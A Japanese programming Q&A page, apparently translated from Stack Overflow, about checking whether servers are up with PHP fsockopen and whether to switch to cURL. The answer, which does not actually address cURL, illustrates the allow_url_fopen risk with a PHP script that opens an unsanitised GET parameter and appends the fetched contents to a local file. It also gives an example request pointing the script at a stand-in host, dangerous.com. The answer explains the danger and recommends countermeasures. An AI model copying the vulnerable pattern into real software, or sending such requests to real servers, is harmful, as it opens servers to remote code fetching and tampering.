0

こんにちは、foreach ループを実行するコードがあります。

        if($fp = @fsockopen($value['privateip'],1935,$errCode,$errStr,.5)){   
           $value['alive'] = 'alive';
        } else {
           $value['alive'] = 'down';
        } 
        @fclose($fp);

基本的に、ポート 1935 でサーバーに ping を実行し、配列内の値を変更します。コード インジェクションが発生した場合、php のファイル関数は危険であると読んだことがあるので、おそらく無効にしたほうがよいでしょう。代わりに cURL を使用するようにこのコードを変更するにはどうすればよいですか?

4

1 に答える 1

0

このコードを見てください:

<?php

$filename = @$_GET['filename'];

$fp = fopen($filename,'r');
$buffer = '';
while (!feof($fp)) {
    $buffer .= fgets($fp,2048);    
}
fclose($fp);

$fp = fopen('something_very_important_data.txt','a');
fwrite($fp,$buffer);
fclose($fp);

次のようなリクエストを受け取ったとき:

http://www.yourserver.com/your_script.php?filename=http%3A%2F%2Fdangerous.com%2Fdangerous_code.txt

$filename値は次のようになります。

$filename = 'http://dangerous.com/dangerous_code.txt';

allow_url_fopenがオンに設定されている場合、これは機能します。
ご存知かもしれませんが、これは非常に危険です。
この問題を回避するには、オフに設定するか、allow_url_fopen完全にフィルター処理します。$_GET$_POST

于 2013-05-14T05:51:34.590 に答える